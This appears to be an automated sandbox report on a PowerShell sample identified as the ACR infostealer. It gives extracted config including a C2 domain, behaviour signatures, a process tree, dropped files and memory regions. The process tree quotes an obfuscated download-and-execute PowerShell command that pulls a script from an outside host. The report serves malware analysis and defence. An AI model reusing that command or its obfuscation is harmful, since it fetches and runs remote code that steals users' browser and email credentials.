Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    02/11/2026, 06:19

General

  • Target
    BE5-4532-a7E5-AE1a29.ps1
  • Size 632KB
  • Sample261102-g3f2vsfw41
  • SHA256 34a2f3bf3e131e794689b61d42c8415d0a9d5c1fd46e3aef12bb1f17f30db91c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • acrstealer

Version
  • 4.5.3-alpha1

C2
  • lb.birchcore.cc

Decoy
  • fastly.net

Attributes
  • guids

    f1575b64-8492-4e8b-b102-4d26e8c70371

    019fd84c-02e7-7a67-9097-4f73d632de4a

  • user_agent

    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36

xor.hex

Signatures

  • Family: ACR stealer,GrMsk

    ACR stealer (aka GrMsk stealer) is an infostealer written in C++.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 1 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 1 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 TTPs 2 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3284
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\BE5-4532-a7E5-AE1a29.ps1
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3760
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "& (gcm ir*m) https://297-47d1-852d-0f1a190C45.garbagestress.cc/install.ps1 | & (gcm i*x)"
          3⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:452
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\SysWOW64\rundll32.exe"
            4⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Badlisted process makes network request
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:4268
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check about:blank
        2⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:6048
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa1645c728,0x7ffa1645c734,0x7ffa1645c740
          3⤵
            PID:448
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1680,i,12086072008374360898,14342681724313998135,262144 --field-trial-handle=2008,i,7500647593926592298,15886287933633425724,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2004 /prefetch:2
            3⤵
              PID:1828
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2200,i,13951552834004103301,13738102658530598514,524288 --field-trial-handle=2008,i,7500647593926592298,15886287933633425724,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2292 /prefetch:3
              3⤵
              • System Time Discovery
              PID:540
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2384,i,6436277243796533555,9812793731623574800,524288 --field-trial-handle=2008,i,7500647593926592298,15886287933633425724,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2548 /prefetch:8
              3⤵
                PID:1444
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3124,i,14083689230723519216,11115109726794976957,2097152 --field-trial-handle=2008,i,7500647593926592298,15886287933633425724,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3148 /prefetch:1
                3⤵
                  PID:5632
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3144,i,18372043199664699481,8277040224665103738,2097152 --field-trial-handle=2008,i,7500647593926592298,15886287933633425724,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3172 /prefetch:1
                  3⤵
                    PID:1268
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3972,i,5685096159654890843,2262495574011347298,2097152 --field-trial-handle=2008,i,7500647593926592298,15886287933633425724,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3984 /prefetch:2
                    3⤵
                      PID:4672
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5376,i,2101964508461660822,10244164598742392104,524288 --field-trial-handle=2008,i,7500647593926592298,15886287933633425724,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5392 /prefetch:8
                      3⤵
                        PID:4800
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5504,i,5215596797089249383,1090687039108713913,524288 --field-trial-handle=2008,i,7500647593926592298,15886287933633425724,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5424 /prefetch:8
                        3⤵
                          PID:5544
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5488,i,10905942735616724053,6021906295945002825,524288 --field-trial-handle=2008,i,7500647593926592298,15886287933633425724,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5520 /prefetch:8
                          3⤵
                            PID:5320
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5484,i,17131974286009724034,10674551766920893276,524288 --field-trial-handle=2008,i,7500647593926592298,15886287933633425724,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5792 /prefetch:8
                            3⤵
                              PID:5360
                        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                          1⤵
                            PID:5216
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                            1⤵
                              PID:260

                            Network

                                  MITRE ATT&CK Enterprise v16

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  079e926c-6152-4758-a562-3ae62ce404f7.tmp

                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\079e926c-6152-4758-a562-3ae62ce404f7.tmp
                                  • Size 269KB
                                  • SHA256 55eae649e8abb7114b9f5337cb5a44ccebca1dec4ec09ec53823bab747476bd6
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  562974d4-2b4c-4305-8d41-798deccd9832.tmp

                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\562974d4-2b4c-4305-8d41-798deccd9832.tmp
                                  • Size 130KB
                                  • SHA256 b6eed3c98dae6ca0c442dd997803d0e8369a5ac8c1c56d52fcf030b4ee41554e
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  63eef63e-2d0d-4639-9439-2025616ff140.tmp

                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\63eef63e-2d0d-4639-9439-2025616ff140.tmp
                                  • Size 269KB
                                  • SHA256 a8766646b089d2ab964c387841574acd7f992e674c150a7c35110260b6de96ed
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  6947440b-b174-4fa9-9876-b6bb46b8389f.tmp

                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\6947440b-b174-4fa9-9876-b6bb46b8389f.tmp
                                  • Size 414B
                                  • SHA256 ad17f98bbc51f58b9fbbef86280853d0fba5e767ae94e17cee9deb67d680c8fd
                                  • MD5 SHA1 SHA512 TLSH

                                  7eeda67d-fed7-4004-a105-a3c82b73375d.tmp

                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\7eeda67d-fed7-4004-a105-a3c82b73375d.tmp
                                  • Size 17KB
                                  • SHA256 a55c9d9bfbff27f4080d00af8282862be9cc6b021b0d1cf3b654e6d1857a1705
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  8242f32b-edfe-429e-9de9-10e78ddf6353.tmp

                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\8242f32b-edfe-429e-9de9-10e78ddf6353.tmp
                                  • Size 12KB
                                  • SHA256 ade3fef5abf5d950f441b2c5845660ed822487bf749399e99928f90a9fd8540d
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  8accce17-e9d3-4f43-8eb2-9d88bfd8c3c7.tmp

                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\8accce17-e9d3-4f43-8eb2-9d88bfd8c3c7.tmp
                                  • Size 6B
                                  • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                                  • MD5 SHA1 SHA512

                                  Cookies

                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
                                  • Size 20KB
                                  • SHA256 1c44e529cdf01aed05762ff8a249773a956b6989eb8ef85c8be14c95124a1f25
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  de54c779-5fbb-4356-b92a-a8b57c105153.tmp

                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\de54c779-5fbb-4356-b92a-a8b57c105153.tmp
                                  • Size 2B
                                  • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                  • MD5 SHA1 SHA512

                                  temp-index

                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index
                                  • Size 120B
                                  • SHA256 e3e7b491d2197e92df93e5920722e7dfcede8e48dad696ec84979a57a8f32c7c
                                  • MD5 SHA1 SHA512 TLSH

                                  the-real-index

                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
                                  • Size 96B
                                  • SHA256 cbbc358c78fd214b2c369f80cec81f0ecf40336820265c0a2c71c5ad07ceda06
                                  • MD5 SHA1 SHA512 TLSH

                                  StartupProfileData-NonInteractive

                                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                  • Size 1KB
                                  • SHA256 5fa79d68f9649640f8cd27827cc9eae50a6a1625ac0d31403411033bafce38e0
                                  • MD5 SHA1 SHA512 TLSH

                                  __PSScriptPolicyTest_vhb3v4z0.pcf.ps1

                                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vhb3v4z0.pcf.ps1
                                  • Size 60B
                                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                  • MD5 SHA1 SHA512 TLSH

                                  memory/452-93-0x0000000007180000-0x000000000719A000-memory.dmp

                                  memory/452-69-0x0000000006E90000-0x0000000006EA1000-memory.dmp

                                  memory/452-35-0x0000000005B10000-0x0000000005B5C000-memory.dmp

                                  memory/452-36-0x000000007F660000-0x000000007F670000-memory.dmp

                                  memory/452-37-0x00000000060B0000-0x00000000060E2000-memory.dmp

                                  memory/452-38-0x0000000070680000-0x00000000706CC000-memory.dmp

                                  memory/452-46-0x0000000004560000-0x0000000004570000-memory.dmp

                                  memory/452-48-0x0000000006110000-0x000000000612E000-memory.dmp

                                  memory/452-47-0x0000000004560000-0x0000000004570000-memory.dmp

                                  memory/452-49-0x0000000006CE0000-0x0000000006D83000-memory.dmp

                                  memory/452-50-0x0000000007450000-0x0000000007ACA000-memory.dmp

                                  memory/452-51-0x0000000006E00000-0x0000000006E1A000-memory.dmp

                                  memory/452-52-0x0000000004560000-0x0000000004570000-memory.dmp

                                  memory/452-60-0x0000000006EA0000-0x0000000006EAA000-memory.dmp

                                  memory/452-61-0x00000000070C0000-0x0000000007156000-memory.dmp

                                  memory/452-24-0x00000000052E0000-0x0000000005346000-memory.dmp

                                  memory/452-77-0x0000000007030000-0x000000000703E000-memory.dmp

                                  memory/452-85-0x0000000007060000-0x0000000007074000-memory.dmp

                                  memory/452-32-0x0000000005410000-0x0000000005764000-memory.dmp

                                  memory/452-101-0x00000000071C0000-0x00000000071C8000-memory.dmp

                                  memory/452-102-0x000000000AD10000-0x000000000AED2000-memory.dmp

                                  memory/452-103-0x0000000004560000-0x0000000004570000-memory.dmp

                                  memory/452-104-0x000000007F660000-0x000000007F670000-memory.dmp

                                  memory/452-106-0x0000000004560000-0x0000000004570000-memory.dmp

                                  memory/452-105-0x0000000004560000-0x0000000004570000-memory.dmp

                                  memory/452-107-0x0000000004560000-0x0000000004570000-memory.dmp

                                  memory/452-19-0x0000000004560000-0x0000000004570000-memory.dmp

                                  memory/452-34-0x0000000005AF0000-0x0000000005B0E000-memory.dmp

                                  memory/452-20-0x00000000044C0000-0x00000000044F6000-memory.dmp

                                  memory/452-21-0x0000000004BA0000-0x00000000051C8000-memory.dmp

                                  memory/452-22-0x00000000051D0000-0x00000000051F2000-memory.dmp

                                  memory/452-23-0x0000000005270000-0x00000000052D6000-memory.dmp

                                  memory/3760-14-0x00000226AC130000-0x00000226AC15A000-memory.dmp

                                  memory/3760-0-0x00000226A7C70000-0x00000226A7C80000-memory.dmp

                                  memory/3760-13-0x00000226A7C70000-0x00000226A7C80000-memory.dmp

                                  memory/3760-15-0x00000226AC130000-0x00000226AC154000-memory.dmp

                                  memory/3760-16-0x00000226A7C70000-0x00000226A7C80000-memory.dmp

                                  memory/3760-1-0x00000226A7C70000-0x00000226A7C80000-memory.dmp

                                  memory/3760-2-0x00000226A7C40000-0x00000226A7C62000-memory.dmp

                                  memory/3760-10-0x00000226A7C70000-0x00000226A7C80000-memory.dmp

                                  memory/3760-11-0x00000226A7C70000-0x00000226A7C80000-memory.dmp

                                  memory/3760-12-0x00000226A7C70000-0x00000226A7C80000-memory.dmp

                                  memory/4268-112-0x0000000002CB0000-0x0000000002D7E000-memory.dmp

                                  memory/4268-113-0x0000000002CB0000-0x0000000002D7E000-memory.dmp

                                  memory/4268-572-0x0000000002CB0000-0x0000000002D7E000-memory.dmp

                                  memory/4268-571-0x0000000002CB0000-0x0000000002D7E000-memory.dmp

                                  memory/4268-570-0x0000000002CB0000-0x0000000002D7E000-memory.dmp

                                  memory/4268-569-0x0000000002CB0000-0x0000000002D7E000-memory.dmp

                                  memory/4268-116-0x0000000002CB0000-0x0000000002D7E000-memory.dmp

                                  memory/4268-109-0x0000000001040000-0x0000000001087000-memory.dmp

                                  memory/4268-155-0x0000000002CB0000-0x0000000002D7E000-memory.dmp

                                  memory/4268-149-0x0000000002CB0000-0x0000000002D7E000-memory.dmp

                                  memory/4268-117-0x0000000002CB0000-0x0000000002D7E000-memory.dmp